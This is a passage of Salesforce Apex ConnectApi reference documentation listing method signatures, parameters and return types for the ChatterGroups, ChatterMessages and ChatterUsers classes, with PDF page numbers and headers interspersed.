The value UseDefault uses the value set in a call to updateChatterSettings(communityId, userId,
defaultGroupEmailFrequency).

Return Value
Type: ConnectApi.GroupChatterSettings

updateRequestStatus(communityId, requestId, status)

Updates a request to join a private group.

API Version
28.0

Requires Chatter
Yes

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Reference

ChatterGroups Class

Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
requestId

Type: String
The ID for a request to join a private group.
status

Type: ConnectApi.GroupMembershipRequestStatus
The status of the request:
Accepted
Declined
The Pending value of the enum is not valid in this method.

Return Value
Type: ConnectApi.GroupMembershipRequest

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

Sample: Accepting or Declining a Request to Join a Private Group

This sample code calls ConnectApi.ChatterGroups.updateRequestStatus and passes it the membership request ID
and an ConnectApi.GroupMembershipRequestStatus.Accepted status. You can also pass
ConnectApi.GroupMembershipRequestStatus.Declined.
String communityId = null;
ID groupId = '0F9x00000000hAZ';
String requestId = '0I5x000000001snCAA';
ConnectApi.GroupMembershipRequest membershipRequestRep =
ConnectApi.ChatterGroups.updateRequestStatus(communityId, requestId,
ConnectApi.GroupMembershipRequestStatus.Accepted);

updateRequestStatus(communityId, requestId, status, responseMessage)

Updates a request to join a private group and optionally provides a message when the request is denied.

API Version
35.0

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Reference

ChatterGroups Class

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequest updateRequestStatus(String communityId,
String requestId, ConnectApi.GroupMembershipRequestStatus status, String responseMessage)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
requestId

Type: String
The ID for a request to join a private group.
status

Type: ConnectApi.GroupMembershipRequestStatus
The status of the request:
Accepted
Declined
The Pending value of the enum is not valid in this method.
responseMessage

Type: String
Provide a message to the user if their membership request is declined. The value of this property is used only when the value of the
status property is Declined.
The maximum length is 756 characters.

Return Value
Type: ConnectApi.GroupMembershipRequest

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

ChatterGroups Test Methods

The following are the test methods for ChatterGroups. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestSearchGroups(communityId, q, result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.

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ChatterGroups Class

API Version
29.0

Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.ChatterGroupPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
result

Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q)
Testing ConnectApi Code

setTestSearchGroups(communityId, q, pageParam, pageSize, result)

Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
28.0

Signature
public static Void setTestSearchGroups(String communityId, String q, Integer pageParam,
Integer pageSize, ConnectApi.ChatterGroupPage result)

Parameters
communityId

Type: String

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Reference

ChatterGroups Class

Use either the ID for a community, internal, or null.

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchGroups(communityId, q, archiveStatus, pageParam, pageSize,

result)
Registers a ConnectApi.ChatterGroupPage object to be returned when the matching ConnectApi.searchGroups
method is called in a test context. Use the test method with the same parameters or you receive an exception.

API Version
29.0

Signature
public static Void setTestSearchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus, archiveStatus, Integer pageParam, Integer pageSize,
ConnectApi.ChatterGroupPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

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Reference

ChatterMessages Class

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
archiveStatus
Type: ConnectApi.GroupArchiveStatus
archiveStatusSpecifies a set of groups based on whether the groups are archived or not.

AllAll groups, including groups that are archived and groups that are not archived.
ArchivedOnly groups that are archived.
NotArchivedOnly groups that are not archived.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.ChatterGroupPage
The test ConnectApi.ChatterGroupPage object.

Return Value
Type: Void
SEE ALSO:
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Testing ConnectApi Code

ChatterMessages Class
Access and modify message and conversation data.

Namespace
ConnectApi

Usage
Use Chatter in Apex to get, send, search, and reply to messages. You can also get and search conversations, mark conversations as read,
and get a count of unread messages.

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Reference

ChatterMessages Class

ChatterMessages Methods
The following are methods for ChatterMessages. All methods are static.
IN THIS SECTION:
getConversation(conversationId)
Returns a conversation the context user has access to.
getConversation(conversationId, pageParam, pageSize)
Returns a conversation the context user has access to.
getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.
getConversation(communityId, conversationId, pageParam, pageSize)
Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.
getConversations()
Returns the most recent conversations the context user has access to.
getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.
getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.
getConversations(communityId, pageParam, pageSize)
Returns a specific page of conversations with a specific number of results the context user has access to across their available
communities.
getMessage(messageId)
Returns a message the context user has access to.
getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.
getMessages()
Returns a list of the most recent messages the context user has access to.
getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.
getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.
getMessages(communityId, pageParam, pageSize)
Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.
getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact
unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.

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Reference

ChatterMessages Class

getUnreadCount(communityId)
Returns the number of conversations the context user has marked unread across their available communities. If the number is less
than 50, it will return the exact unreadCount, and hasMore = false. If the context user has more than 50, unreadCount = 50 and
hasMore = true.
markConversationRead(conversationId, read)
Marks a conversation as read for the context user.
markConversationRead(communityId, conversationID, read)
Marks a conversation as read or unread for the context user across their available communities.
replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.
replyToMessage(communityId, text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to across their available communities.
searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
searchConversation(conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.
searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
searchConversation(communityId, conversationId, pageParam, pageSize, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across
their available communities.
searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria.
searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria.
searchConversations(communityId, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match
any of the specified search criteria across their available communities.
searchConversations(communityId, pageParam, pageSize, q)
Returns a specific page of conversations with the specified number of results the context user has access to where member names
and messages in the conversations match any of the specified search criteria across their available communities.
searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
searchMessages(pageParam, pageSize, q)
Returns a page of messages the context user has access to that matches any of the specified criteria.
searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.

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Reference

ChatterMessages Class

searchMessages(communityId, pageParam, pageSize, q)

Returns a specific page of messages with the specified number of results the context user has access to that matches any of the
specified criteria across their available communities.
sendMessage(text, recipients)
Sends the specified text to the indicated recipients.
sendMessage(communityId, text, recipients)
Sends the specified text to the indicated recipients across their available communities.

getConversation(conversationId)
Returns a conversation the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId)

Parameters
conversationId

Type: String
Specify the ID for the conversation.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(conversationId, pageParam, pageSize)

Returns a conversation the context user has access to.

API Version
29.0

Requires Chatter
Yes

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Reference

ChatterMessages Class

Signature
public static ConnectApi.ChatterConversation getConversation(String conversationId,
String pageParam, Integer pageSize)

Parameters
conversationId

Type: String
Specify the ID for the conversation.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation

getConversation(communityId, conversationId)
Returns a conversation the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
conversationId

Type: String
Specify the ID for the conversation.

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Reference

ChatterMessages Class

Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.

getConversation(communityId, conversationId, pageParam, pageSize)

Returns a conversation from a specific page with a specific number of results the context user has access to across their available
communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation getConversation(String communityId, String
conversationId, String pageParam, String pageSize)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
conversationId

Type: String
Specify the ID for the conversation.
pageParam

Type:String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.

getConversations()
Returns the most recent conversations the context user has access to.

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Reference

ChatterMessages Class

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations()

Return Value
Type: ConnectApi.ChatterConversationPage

getConversations(pageParam, pageSize)
Returns a specific page of conversations the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations(String pageParam,
Integer pageSize)

Parameters
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversationPage

getConversations(communityId)
Returns the most recent conversations the context user has access to across their available communities.

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Reference

ChatterMessages Class

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.

getConversations(communityId, pageParam, pageSize)

Returns a specific page of conversations with a specific number of results the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage getConversations(String communityId,
String pageParam, Integer pageSize)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
pageParam

Type:String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.

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Reference

ChatterMessages Class

pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.

getMessage(messageId)
Returns a message the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage getMessage(String messageId)

Parameters
messageId

Type: String
Specify the ID for the message.

Return Value
Type: ConnectApi.ChatterMessage

getMessage(communityId, messageId)
Returns a message the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage getMessage(String communityId, String messageId)

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Reference

ChatterMessages Class

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
messageId

Type: String
Specify the ID for the message.

Return Value
Type:ConnectApi.ChatterMessage
A Chatter message and all the related metadata.

getMessages()
Returns a list of the most recent messages the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages()

Return Value
Type: ConnectApi.ChatterMessagePage

getMessages(pageParam, pageSize)
Returns the specified page of messages the context user has access to.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages(String pageParam, Integer
pageSize)

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Reference

ChatterMessages Class

Parameters
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterMessagePage

getMessages(communityId)
Returns a list of the most recent messages the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.

getMessages(communityId, pageParam, pageSize)

Returns the specified page of messages with the specified number of results the context user has access to across their available
communities.

API Version
30.0

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Reference

ChatterMessages Class

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage getMessages(String communityId, String
pageParam, Integer pageSize)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.

getUnreadCount()
Returns the number of conversations the context user has marked unread. If the number is less than 50, it will return the exact unreadCount,
and hasMore = false. If the context user has more than 50, unreadCount = 50 and hasMore = true.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.UnreadConversationCount getUnreadCount()

Return Value
Type: ConnectApi.UnreadConversationCount

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Reference

ChatterMessages Class

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.UnreadConversationCount getUnreadCount(String communityId)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.UnreadConversationCount
The number of unread messages in a conversation.

markConversationRead(conversationId, read)
Marks a conversation as read for the context user.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
conversationId, Boolean read)

Parameters
conversationId

Type: String

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Reference

ChatterMessages Class

Specify the ID for the conversation.

read

Type: Boolean
Specifies whether the conversation has been read (true) or not (false).

Return Value
Type: ConnectApi.ChatterConversationSummary

markConversationRead(communityId, conversationID, read)

Marks a conversation as read or unread for the context user across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationSummary markConversationRead(String
communityId, String conversationID, Boolean read)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
conversationId

Type: String
Specify the ID for the conversation.
read

Type: Boolean
Specifies whether the conversation has been read (true) or not (false).

Return Value
Type: ConnectApi.ChatterConversationSummary
The summary of a Chatter conversation, including the members of the conversation, Chatter REST API URL, and contents of the latest
message.

replyToMessage(text, inReplyTo)
Adds the specified text as a response to a previous message the context user has access to.

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Reference

ChatterMessages Class

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage replyToMessage(String text, String inReplyTo)

Parameters
text

Type: String
The text of the message. Cannot be empty or over 10,000 characters.
inReplyTo

Type: String
Specify the ID of the message that is being responded to.

Return Value
Type: ConnectApi.ChatterMessage

replyToMessage(communityId, text, inReplyTo)

Adds the specified text as a response to a previous message the context user has access to across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage replyToMessage(String communityId, String text,
String inReplyTo)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
text

Type: String

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Reference

ChatterMessages Class

The text of the message. Cannot be empty or over 10,000 characters.

inReplyTo

Type: String
Specify the ID of the message that is being responded to.

Return Value
Type: ConnectApi.ChatterMessage
A Chatter message and all the related metadata.

searchConversation(conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String q)

Parameters
conversationId

Type: String
Specify the ID for the conversation.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversation

searchConversation(conversationId, pageParam, pageSize, q)

Returns the conversation the context user has access to with a page of messages that matches any of the specified search.

API Version
29.0

1117

Reference

ChatterMessages Class

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String conversationId,
String pageParam, Integer pageSize, String q)

Parameters
conversationId

Type: String
Specify the ID for the conversation.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation

searchConversation(communityId, conversationId, q)
Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String q)

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Reference

ChatterMessages Class

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
conversationId

Type: String
Specify the ID for the conversation.
q

Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.

searchConversation(communityId, conversationId, pageParam, pageSize, q)

Returns the conversation the context user has access to with a page of messages that matches any of the specified search across their
available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversation searchConversation(String communityId,
String conversationId, String pageParam, Integer pageSize, String q)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
conversationId

Type: String
Specify the ID for the conversation.
pageParam

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Reference

ChatterMessages Class

pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterConversation
A Chatter conversation and the related metadata.

searchConversations(q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String q)

Parameters
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(pageParam, pageSize, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria.

API Version
29.0

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Reference

ChatterMessages Class

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String pageParam,
Integer pageSize, String q)

Parameters
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage

searchConversations(communityId, q)
Returns a page of conversations the context user has access to where member names and messages in the conversations match any of
the specified search criteria across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String q)

Parameters
communityId

Type:String

1121

Reference

ChatterMessages Class

Use either the ID for a community, internal, or null.

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.

searchConversations(communityId, pageParam, pageSize, q)

Returns a specific page of conversations with the specified number of results the context user has access to where member names and
messages in the conversations match any of the specified search criteria across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterConversationPage searchConversations(String communityId,
String pageParam, Integer pageSize, String q)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

1122

Reference

ChatterMessages Class

Return Value
Type: ConnectApi.ChatterConversationPage
A list of Chatter conversations on a specific page.

searchMessages(q)
Returns a page of messages the context user has access to that matches any of the specified criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage searchMessages(String q)

Parameters
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

searchMessages(pageParam, pageSize, q)
Returns a page of messages the context user has access to that matches any of the specified criteria.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage searchMessages(String pageParam, Integer
pageSize, String q)

1123

Reference

ChatterMessages Class

Parameters
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

searchMessages(communityId, q)
Returns a page of messages the context user has access to that matches any of the specified criteria across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
q)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage

1124

Reference

ChatterMessages Class

The Chatter messages on a specific page.

searchMessages(communityId, pageParam, pageSize, q)

Returns a specific page of messages with the specified number of results the context user has access to that matches any of the specified
criteria across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessagePage searchMessages(String communityId, String
pageParam, Integer pageSize, String q)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.ChatterMessagePage
The Chatter messages on a specific page.

sendMessage(text, recipients)
Sends the specified text to the indicated recipients.

1125

Reference

ChatterMessages Class

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String text, String recipients)

Parameters
text

Type: String
The text of the message. Cannot be empty or over 10,000 characters.
recipients

Type: String
Up to nine comma-separated IDs of the users receiving the message.

Return Value
Type: ConnectApi.ChatterMessage

sendMessage(communityId, text, recipients)

Sends the specified text to the indicated recipients across their available communities.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterMessage sendMessage(String communityId, String text,
String recipients)

Parameters
communityId

Type:String
Use either the ID for a community, internal, or null.
text

Type: String

1126

Reference

ChatterUsers Class

The text of the message. Cannot be empty or over 10,000 characters.

recipients

Type: String
Up to nine comma-separated IDs of users to receive the message.

Return Value
Type: ConnectApi.ChatterMessage
A Chatter message and all the related metadata.

ChatterUsers Class
Access information about users, such as followers, subscriptions, files, and groups.

Namespace
ConnectApi

ChatterUsers Methods
The following are methods for ChatterUsers. All methods are static.
IN THIS SECTION:
deletePhoto(communityId, userId)
Deletes the specified users photo.
follow(communityId, userId, subjectId)
Adds the specified userId as a follower to the specified subjectId.
getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.
getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.
getFollowers(communityId, userId, pageParam, pageSize)
Returns the specified page of followers for the specified user ID.
getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam)
Returns the specified page of information about the followers of the specified user. The page contains the default number of items.
This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, pageParam, pageSize)
Returns the specific page of information about the followers of the specified user. This is different than getFollowers, which
returns the users that follow the specified user.

1127

Reference

ChatterUsers Class

getFollowings(communityId, userId, filterType)

Returns the first page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType, pageParam)
Returns the specified page of information about the specified types of followers of the specified user. The page contains the default
number of items. This is different than getFollowers, which returns the users that follow the specified user.
getFollowings(communityId, userId, filterType, pageParam, pageSize)
Returns the specified page of information about the specified types of followers of the specified user. This is different than
getFollowers, which returns the users that follow the specified user.
getGroups(communityId, userId)
Returns the first page of groups the specified user is a member of.
getGroups(communityId, userId, pageParam, pageSize)
Returns the specified page of groups the specified user is a member of.
getPhoto(communityId, userId)
Returns information about the specified users photo.
getReputation(communityId, userId)
Returns the reputation of the specified user.
getUser(communityId, userId)
Returns information about the specified user.
getUserBatch(communityId, userIds)
Gets information about the specified list of users. Returns a list of BatchResult objects containing ConnectApi.User
objects. Returns errors embedded in the results for those users that couldnt be loaded.
getUsers(communityId)
Returns the first page of users. The page contains the default number of items.
getUsers(communityId, pageParam, pageSize)
Returns the specified page of users.
searchUserGroups(communityId, userId, q)
Returns the first page of groups that match the specified search criteria.
searchUserGroups(communityId, userId, q, pageParam, pageSize)
Returns the specified page of users that matches the specified search criteria.
searchUsers(communityId, q)
Returns the first page of users that match the specified search criteria. The page contains the default number of items.
searchUsers(communityId, q, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
searchUsers(communityId, q, searchContextId, pageParam, pageSize)
Returns the specified page of users that match the specified search criteria.
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.

1128

Reference

ChatterUsers Class

setPhotoWithAttributes(communityId, userId, photo)

Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
updateChatterSettings(communityId, userId, defaultGroupEmailFrequency)
Updates the default Chatter settings for the specified user.
updateUser(communityId, userId, userInput)
Updates the About Me section for a user.

deletePhoto(communityId, userId)
Deletes the specified users photo.

API Version
28.034.0
Important: In version 35.0 and later, use ConnectApi.UserProfiles.deletePhoto(communityId, userId)
on page 1302

Signature
public static Void deletePhoto(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.

Return Value
Type: Void

follow(communityId, userId, subjectId)

Adds the specified userId as a follower to the specified subjectId.

API Version
28.0

Requires Chatter
Yes

1129

Reference

ChatterUsers Class

Signature
public static ConnectApi.Subscription follow(String communityId, String userId, String
subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
subjectId

Type: String
The ID for the subject to follow.

Return Value
Type: ConnectApi.Subscription
SEE ALSO:
Follow a Record
Unfollow a Record

getChatterSettings(communityId, userId)
Returns information about the default Chatter settings for the specified user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.UserChatterSettings getChatterSettings(String communityId,
String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1130

Reference

ChatterUsers Class

userId

Type: String
The ID for the context user or the keyword me.

Return Value
Type: ConnectApi.UserChatterSettings

getFollowers(communityId, userId)
Returns the first page of followers for the specified user ID. The page contains the default number of items.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.FollowerPage

getFollowers(communityId, userId, pageParam, pageSize)

Returns the specified page of followers for the specified user ID.

API Version
28.0

1131

Reference

ChatterUsers Class

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String userId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowerPage

getFollowings(communityId, userId)
Returns the first page of information about the followers of the specified user. The page contains the default number of items. This is
different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

1132

Reference

ChatterUsers Class

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.FollowingPage

getFollowings(communityId, userId, pageParam)

Returns the specified page of information about the followers of the specified user. The page contains the default number of items. This
is different than getFollowers, which returns the users that follow the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowingPage getFollowings(String communityId, String userId,
Integer pageParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for a user.
pageParam

Type: Integer

1133

Reference

ChatterUsers Class

Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

Return Value
Type: ConnectApi.FollowingPage

